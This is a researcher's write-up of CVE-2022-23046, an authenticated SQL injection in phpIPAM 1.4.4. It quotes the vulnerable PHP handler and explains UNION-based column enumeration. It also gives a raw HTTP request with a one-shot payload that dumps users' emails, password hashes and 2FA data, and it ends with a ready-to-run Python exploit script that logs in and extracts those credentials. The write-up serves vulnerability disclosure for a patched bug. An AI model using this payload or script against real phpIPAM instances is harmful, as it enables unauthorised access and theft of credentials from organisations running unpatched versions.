CVE-2022-23046 - PHPIPAM

TL;DR

This write up is about a SQL injection which I found 4 days after another researcher reported it :/, however, because of the fact that I haven’t found any write ups or publicly available exploits, I decided to write about it. Exploit at the end!

PHPIPAM is a software widely used internally by several companies. And by being so, it is relatively common for you to find a running instance to manage IT assets, networks, etc. 1.4.4 is the vulnerable version and a fix has already been made public with the arrival of version 1.4.5. The request responsible for triggering the SQLi is presented below, but if you want to look at the rest, feel free.

POST /app/admin/routing/edit-bgp-mapping-search.php HTTP/1.1
Host: localhost:8082
Content-Length: 155
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://localhost:8082
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8082/index.php?page=administration&section=routing&subnetId=bgp&sPage=1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: phpipam=d963c4505df7e33f17e86f70724ec7bb
Connection: close

subnet=test"union+select(select+concat(@:=0x3a,(select+count(*)from(users)where(@:=concat(@,email,0x3a,password,"0x3a",2fa))),@)),2,3,user()+--+-&bgp_id=1

Code Investigation

By analyzing the following code, we can see that validation is only enforced against the bgp_id parameter

<?php

/* functions */
require_once( dirname(__FILE__) . '/../../../functions/functions.php' );

# initialize user object
$Database 	= new Database_PDO;
$User 		= new User ($Database);
$Admin	 	= new Admin ($Database);
$Tools	 	= new Tools ($Database);
$Result 	= new Result ();

# verify that user is logged in
$User->check_user_session();

# permissions
$User->check_module_permissions ("routing", User::ACCESS_RW, true, false);

# validates
if(!is_numeric($_POST['bgp_id']))  			{ $Result->show("danger",  _("Invalid ID"), true); }
if(strlen($_POST['subnet'])<2)				{ $Result->show("danger",  _("Please enter at least 2 characters."), true); }

# query
$query = 'select INET_NTOA(`subnet`) as subnet,id,mask,description from `subnets` where INET_NTOA(`subnet`) like "'.$_POST['subnet'].'%" and `subnet` > 1 and `isFolder` = 0';
# execute
try { $subnets = $Database->getObjectsQuery($query); }
catch (Exception $e) {
	print $Result->show("danger", $e->getMessage(), true);
}

# printout
if(sizeof($subnets)>0) {
	// remove existing
	$bgp_mapped_subnets = $Tools->fetch_routing_subnets ("bgp", $_POST['bgp_id'], false);
	$map_arr = [];
	if($bgp_mapped_subnets!==false) {
		foreach ($bgp_mapped_subnets as $m) {
			$map_arr[] = $m->subnet_id;
		}
	}

	// print remaining
	$cnt=0;
	print "<table class='table table-condensed table-auto'>";
	foreach ($subnets as $s) {
		if (!in_array($s->id, $map_arr)) {
			print "<tr>";
			print "<td><btn class='btn btn-xs btn-success add_bgp_mapping' data-subnetId='$s->id' data-bgp_id='$_POST[bgp_id]' data-curr_id='$cnt'><i class='fa fa-plus'></i></btn></td>";
			print "<td>";
			print "<select name='select-$cnt' class='select-$cnt form-control input-w-auto input-sm'>";
			print "	<option value='advertised'>"._("Advertised")."</option>";
			print "	<option value='received'>"._("Received")."</option>";
			print "</select>";
			print "</td>";
			print "<td> $s->subnet/$s->mask ($s->description)</td>";
			print "<td class='result-$cnt'></td>";
			print "</tr>";
			$cnt++;
		}
	}
	print "</table>";
	// none
	if($cnt==0) {
		print $Result->show("info", "No subnets found", true);
	}
}
else {
	print $Result->show("info", "No subnets found", true);
}

Because of the is_numeric function, maybe by using versions prior to PHP 5.x, a bypass would occur using 0x[numbers] because, in older PHP versions this was possible, (if you find any way of performing this currently, then you’ve found another vuln). Then we could jump to the next parameter of the request, in this case the $_POST[‘subnet’] parameter. In it there is a validation, albeit a simple one, the double quotes ("), is still part of the validation, and if you observe carefully, the next step regards precisely concatenating these parameters in a SQL query. In other words, this simple “, can cause problems :D or not. It all depends on your perspective. So by looking at the following query, can you already understand how the execution would flow?

$query = 'select INET_NTOA(`subnet`) as subnet,id,mask,description from `subnets` where INET_NTOA(`subnet`) like "'.$_POST['subnet'].'%" and `subnet` > 1 and `isFolder` = 0';

It could be something like this:

select INET_NTOA(subnet) as subnet,id,mask,description from subnets where INET_NTOA(subnet) like "[YOUR DOUBLE QUOTES HERE]" and subnet > 1 and isFolder = 0

The Syntax error will be triggered. As illustrated in the following, at the subnet vulnerable parameter.

Untitled

From there we can see that this is a classic based error, so let’s go union :D. First let’s determine how many columns are being returned from the original query (using the Order by clause):

Untitled

The column in an ORDER BY clause can be specified by its index (e.g: 1,2,3,4,5,n), this means there’s no need of knowing the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error, such as:

Untitled

The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application’s response, you can infer how many columns are being returned from the query. The reason for performing an SQL injection UNION attack is to be able to retrieve the results from an injected query. Generally, the interesting data that you want to retrieve will be in string form, so you need to find one or more columns in the original query results whose data type is, or is compatible with, string data Having already determined the number of required columns, you can probe each column to test whether it can hold string data by submitting a series of UNION SELECT payloads that place a string value into each column in turn:

Untitled

If an error does not occur, and the application’s response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data

Seek in the following request/response the values of the commands, @@version, database() and user():

Untitled

Now let’s dump users and passwords.

When you have determined the number of columns returned by the original query and found which columns can hold string data, you are in position to retrieve interesting data.

Untitled

The exploit with DIOS query, one shot dump all!

import requests
import sys
import argparse

################
"""
Author of exploit: Rodolfo 'Inc0gbyt3' Tavares
CVE: CVE-2022-23046
Type: SQL Injection

Usage:

$ python3 -m pip install requests
$ python3 exploit.py -u http://localhost:8082 -U <admin> -P <password>
"""
###############

__author__ = "Inc0gbyt3"

menu = argparse.ArgumentParser(description="[+] Exploit for PHPIPAM Version: 1.4.4 Authenticated SQL Injection\n CVE-2022-23046")
menu.add_argument("-u", "--url", help="[+] URL of target, example: https://phpipam.target.com", type=str)
menu.add_argument("-U", "--user", help="[+] Username", type=str)
menu.add_argument("-P", "--password", help="[+] Password", type=str)
args = menu.parse_args()

if len(sys.argv) < 3:
    menu.print_help()

target = args.url
user = args.user
password = args.password

def get_token():
    u = f"{target}/app/login/login_check.php"

    try:
        r = requests.post(u, verify=False, timeout=10, headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}, data={"ipamusername":user, "ipampassword":password})
        headers = r.headers['Set-Cookie']
        headers_string = headers.split(';')
        for s in headers_string:
            if "phpipam" in s and "," in s: # double same cookie Check LoL
                cookie = s.strip(',').lstrip()
                return cookie
    except Exception as e:
        print(f"[+] {e}")

def exploit_sqli():
    cookie = get_token()
    xpl = f"{target}/app/admin/routing/edit-bgp-mapping-search.php"
    data = {
        "subnet":'pwn"union select(select concat(@:=0x3a,(select+count(*) from(users)where(@:=concat(@,email,0x3a,password,"0x3a",2fa))),@)),2,3,user() -- -', # dios query dump all :)
        "bgp_id":1
    }

    headers = {
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "Cookie": cookie
    }

    try:
        r = requests.post(xpl, verify=False, timeout=10, headers=headers, data=data)
        if "admin" in r.text or "rounds" in r.text:
            print("[+] Vulnerable..\n\n")
            print(f"> Users and hash passwords: \n\n{r.text}")
            print("\n\n> DONE <")
    except Exception as e:
        print(f"[-] {e}")

if __name__ == '__main__':
    exploit_sqli()

Keep hacking #thanks .